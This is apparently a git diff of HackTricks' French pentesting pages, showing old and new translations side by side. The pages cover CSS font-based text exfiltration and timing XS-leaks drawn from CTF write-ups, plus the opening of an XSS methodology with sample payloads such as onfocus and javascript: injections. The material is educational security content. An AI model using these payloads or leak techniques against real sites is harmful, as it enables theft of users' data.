Lorsqu'un nouveau caractère passe à la première ligne, **l'astuce unicode-range est utilisée pour détecter le nouveau caractère dans le préfixe**. Cette détection se fait en changeant la police pour Comic Sans, dont la hauteur est supérieure, ce qui déclenche une **barre de défilement verticale** (fuitant la valeur du caractère). De cette façon, nous pouvons fuite chaque caractère différent une fois. **Nous pouvons détecter si un caractère est répété mais pas quel caractère est répété**.
Pendant cette transition, le **tour de magie de la plage unicode** est utilisé pour identifier chaque nouveau caractère au fur et à mesure qu'il rejoint le préfixe. Cela est réalisé en passant la police à Comic Sans, qui est notablement plus haute que la police par défaut, déclenchant ainsi une barre de défilement verticale. L'apparition de cette barre de défilement révèle indirectement la présence d'un nouveau caractère dans le préfixe.
Bien que cette méthode permette la détection des caractères uniques au fur et à mesure de leur apparition, elle ne spécifie pas quel caractère est répété, seulement qu'une répétition s'est produite.
{% hint style="info" %}
En gros, **l'unicode-range est utilisé pour détecter un caractère**, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre façon.\
Lorsque le **caractère** est **trouvé**, il se voit **attribuer** la police **Comic Sans préinstallée**, ce qui **rend** le caractère **plus grand** et **déclenche une barre de défilement** qui **fuit le caractère trouvé**.
Essentiellement, l'**unicode-range est utilisé pour détecter un caractère**, mais comme nous ne voulons pas charger une police externe, nous devons trouver une autre solution.\
Lorsque le **caractère** est **trouvé**, il est **attribué** à la police **Comic Sans préinstallée**, ce qui le **rend plus grand** et **déclenche une barre de défilement** qui va **divulguer le caractère trouvé**.
{% endhint %}
Vérifiez le code extrait du PoC:
@ -384,17 +399,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce compte-rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de masquer quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains **caractères plus grands que d'autres est de cacher quelque chose** comme un bouton pour ne pas être pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent à l'intérieur du texte.
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par le timing du cache (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par temporisation de cache (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce compte-rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Cela est mentionné comme [une solution infructueuse dans ce compte rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, nous pourrions essayer de détecter si un caractère est dans le texte en chargeant une fausse police depuis la même origine :
Dans ce cas, nous pourrions essayer de vérifier si un caractère est dans le texte en chargeant une fausse police depuis la même origine :
```css
@font-face {
font-family: "A1";
@ -402,15 +417,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même s'il n'y a pas de cache, il existe un mécanisme **304 not modified**, donc la **réponse devrait être plus rapide** que d'autres choses.
Si une correspondance est trouvée, la **police sera chargée depuis `/static/bootstrap.min.css?q=1`**. Bien qu'elle ne se charge pas avec succès, le **navigateur devrait la mettre en cache**, et même en l'absence de cache, il y a un mécanisme de **réponse 304 non modifiée**, donc la **réponse devrait être plus rapide** que d'autres éléments.
Cependant, si la différence de temps entre la réponse mise en cache et celle qui ne l'est pas n'est pas assez grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après avoir testé, j'ai trouvé que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
Cependant, si la différence de temps entre la réponse mise en cache et celle non mise en cache n'est pas assez grande, cela ne sera pas utile. Par exemple, l'auteur a mentionné : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau `disk-cache-size=1`, ce qui est vraiment réfléchi.
### Exfiltration de nœud de texte (III) : fuite du jeu de caractères par mesure du temps de chargement de centaines de "polices" locales (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud texte (III) : fuite du jeu de caractères en mesurant le chargement de centaines de "polices" locales (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** Ceci est mentionné comme [une solution infructueuse dans ce compte-rendu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Référence :** Cela est mentionné comme [une solution infructueuse dans cet article](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Dans ce cas, vous pouvez indiquer au **CSS de charger des centaines de fausses polices** de la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez **mesurer le temps** que cela prend et déterminer si un caractère apparaît ou non avec quelque chose comme :
Dans ce cas, vous pouvez indiquer au **CSS de charger des centaines de fausses polices** depuis la même origine lorsqu'une correspondance se produit. De cette manière, vous pouvez **mesurer le temps** nécessaire et déterminer si un caractère apparaît ou non avec quelque chose comme :
```css
@font-face {
font-family: "A1";
@ -421,14 +436,13 @@ url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
```
Le code du bot ressemble à ceci :
Et le code du bot ressemble à ceci :
```python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
```markdown
Donc, en supposant que la police ne correspond pas, le temps pour obtenir la réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, un grand nombre de requêtes seront envoyées pour obtenir la police, et le réseau aura toujours quelque chose, donc cela prendra plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.
Donc, en supposant que la police ne corresponde pas, le temps pour obtenir la réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, une série de requêtes sera envoyée pour obtenir la police, et le réseau aura toujours quelque chose, donc il faudra plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.
## Références
@ -439,15 +453,14 @@ Donc, en supposant que la police ne correspond pas, le temps pour obtenir la ré
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
```

22
pentesting-web/xs-search/performance.now-+-force-heavy-task.md
View file

@ -1,23 +1,23 @@
# performance.now + Tâche lourde forcée
# performance.now + Force heavy task
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Exploit tiré de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)
**Exploit tiré de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
Dans ce défi, l'utilisateur pouvait envoyer des milliers de caractères et si le drapeau était contenu, les caractères seraient renvoyés au bot. Ainsi, en envoyant une grande quantité de caractères, l'attaquant pouvait mesurer si le drapeau était contenu dans la chaîne envoyée ou non.
{% hint style="warning" %}
Au départ, je n'ai pas défini la largeur et la hauteur de l'objet, mais plus tard, j'ai découvert que c'était important car la taille par défaut est trop petite pour faire une différence dans le temps de chargement.
Initialement, je n'avais pas défini la largeur et la hauteur de l'objet, mais plus tard, j'ai découvert que c'était important car la taille par défaut est trop petite pour faire une différence dans le temps de chargement.
{% endhint %}
```html
<!DOCTYPE html>
@ -118,10 +118,10 @@ Au départ, je n'ai pas défini la largeur et la hauteur de l'objet, mais plus t
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

18
pentesting-web/xs-search/performance.now-example.md
View file

@ -4,15 +4,15 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
Exemple tiré de [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)
**Exemple tiré de [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -58,10 +58,10 @@ document.addEventListener('DOMContentLoaded', main);
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live).
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

388
pentesting-web/xss-cross-site-scripting/README.md
View file

@ -2,88 +2,88 @@
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
**Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui et commencez à gagner des primes allant jusqu'à **100 000 $** !
**Conseil de prime de bug**: **inscrivez-vous** sur **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Méthodologie
1. Vérifiez si **une valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **reflétée** dans le HTML ou **utilisée** par le code **JS**.
2. **Trouvez le contexte** où elle est reflétée/utilisée.
3. Si **reflétée** :
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
1. En **HTML brut** :
1. Vérifiez si **une valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par du code **JS**.
2. **Trouvez le contexte** où elle est réfléchie/utilisée.
3. Si **réfléchie**
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez la charge utile :
1. Dans du **HTML brut** :
1. Pouvez-vous créer de nouvelles balises HTML ?
2. Pouvez-vous utiliser des événements ou des attributs prenant en charge le protocole `javascript:` ?
3. Pouvez-vous contourner les protections ?
4. Si le contenu HTML est interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...), pourriez-vous abuser d'une [**Injection de Template Côté Client**](../client-side-template-injection-csti.md).
5. Si vous ne pouvez pas créer de balises HTML qui exécutent du code JS, pourriez-vous abuser d'une [**Injection sans script - Injection HTML de balisage suspendu**](../dangling-markup-html-scriptless-injection/) ?
4. Le contenu HTML est-il interprété par un moteur JS côté client (_AngularJS_, _VueJS_, _Mavo_...), vous pourriez exploiter une [**Injection de Modèle Côté Client**](../client-side-template-injection-csti.md).
5. Si vous ne pouvez pas créer de balises HTML exécutant du code JS, pourriez-vous exploiter une [**Injection de Balisage Suspendu - Injection HTML sans script**](../dangling-markup-html-scriptless-injection/) ?
2. À l'intérieur d'une **balise HTML** :
1. Pouvez-vous sortir du contexte HTML brut ?
2. Pouvez-vous créer de nouveaux événements/attributs pour exécuter du code JS ?
3. L'attribut dans lequel vous êtes piégé prend-il en charge l'exécution de JS ?
3. L'attribut où vous êtes piégé prend-il en charge l'exécution JS ?
4. Pouvez-vous contourner les protections ?
3. À l'intérieur du code **JavaScript** :
1. Pouvez-vous vous échapper de la balise `<script>` ?
2. Pouvez-vous sortir de la chaîne et exécuter un code JS différent ?
3. Votre entrée est-elle dans des littéraux de gabarit \`\` ?
1. Pouvez-vous échapper à la balise `<script>` ?
2. Pouvez-vous échapper à la chaîne et exécuter un code JS différent ?
3. Vos entrées sont-elles dans des littéraux de modèle \`\` ?
4. Pouvez-vous contourner les protections ?
4. Fonction **JavaScript** étant **exécutée**
1. Vous pouvez indiquer le nom de la fonction à exécuter. Ex. : `?callback=alert(1)`
4. Fonction **JavaScript** en train d'être **exécutée** :
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex.: `?callback=alert(1)`
4. Si **utilisée** :
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la manière dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un point d'injection.**
1. Vous pourriez exploiter un **XSS DOM**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par une faille**.
Lorsque vous travaillez sur un XSS complexe, il pourrait être intéressant de connaître :
Lorsque vous travaillez sur un XSS complexe, il peut être intéressant de connaître :
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
{% endcontent-ref %}
## Valeurs reflétées
## Valeurs réfléchies
Pour exploiter avec succès un XSS, la première chose à trouver est une **valeur contrôlée par vous qui est reflétée** sur la page web.
Pour exploiter avec succès un XSS, la première chose que vous devez trouver est une **valeur contrôlée par vous qui est réfléchie** dans la page web.
* **Reflet intermédiaire** : Si vous trouvez que la valeur d'un paramètre ou même du chemin est reflétée sur la page web, vous pourriez exploiter un **Reflected XSS**.
* **Stockée et reflétée** : Si vous trouvez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est reflétée à chaque fois que vous accédez à une page, vous pourriez exploiter un **Stored XSS**.
* **Accédée via JS** : Si vous trouvez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **DOM XSS**.
* **Réfléchie de manière intermédiaire** : Si vous trouvez que la valeur d'un paramètre ou même le chemin est réfléchie dans la page web, vous pourriez exploiter un **XSS Réfléchi**.
* **Stockée et réfléchie** : Si vous trouvez qu'une valeur contrôlée par vous est enregistrée sur le serveur et est réfléchie à chaque fois que vous accédez à une page, vous pourriez exploiter un **XSS Stocké**.
* **Accédée via JS** : Si vous trouvez qu'une valeur contrôlée par vous est accédée en utilisant JS, vous pourriez exploiter un **XSS DOM**.
## Contextes
Lorsque vous essayez d'exploiter un XSS, la première chose à savoir est **où votre entrée est reflétée**. Selon le contexte, vous pourrez exécuter du code JS arbitraire de différentes manières.
Lorsque vous essayez d'exploiter un XSS, la première chose que vous devez savoir est **où votre entrée est réfléchie**. Selon le contexte, vous pourrez exécuter du code JS arbitraire de différentes manières.
### HTML brut
Si votre entrée est **reflétée dans le HTML brut** de la page, vous devrez abuser de certaines **balises HTML** afin d'exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
Gardez également à l'esprit [Injection de Template Côté Client](../client-side-template-injection-csti.md).
Si votre entrée est **réfléchie sur la page HTML brute**, vous devrez abuser de certaines **balises HTML** pour exécuter du code JS : `<img , <iframe , <svg , <script` ... ce ne sont que quelques-unes des nombreuses balises HTML possibles que vous pourriez utiliser.\
Gardez également à l'esprit [Injection de Modèle Côté Client](../client-side-template-injection-csti.md).
### À l'intérieur de l'attribut d'une balise HTML
### À l'intérieur de l'attribut des balises HTML
Si votre entrée est reflétée à l'intérieur de la valeur de l'attribut d'une balise, vous pourriez essayer :
Si votre entrée est réfléchie à l'intérieur de la valeur de l'attribut d'une balise, vous pourriez essayer :
1. De **vous échapper de l'attribut et de la balise** (vous serez alors dans le HTML brut) et créer une nouvelle balise HTML à abuser : `"><img [...]`
2. Si vous **pouvez vous échapper de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), selon la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
3. Si vous **ne pouvez pas vous échapper de l'attribut** (`"` est encodé ou supprimé), alors selon **quel attribut** votre valeur est reflétée et **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez l'abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter un code arbitraire lorsqu'il est cliqué. Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter un code arbitraire : **`href="javascript:alert(1)"`**
4. Si votre entrée est reflétée à l'intérieur de **balises inexploitables**, vous pourriez essayer l'astuce **`accesskey`** pour abuser de la vulnérabilité (vous aurez besoin d'une sorte d'ingénierie sociale pour exploiter cela) : **`" accesskey="x" onclick="alert(1)" x="`**
1. De **sortir de l'attribut et de la balise** (ensuite vous serez dans le HTML brut) et créer une nouvelle balise HTML pour abuser : `"><img [...]`
2. Si vous **pouvez sortir de l'attribut mais pas de la balise** (`>` est encodé ou supprimé), en fonction de la balise, vous pourriez **créer un événement** qui exécute du code JS : `" autofocus onfocus=alert(1) x="`
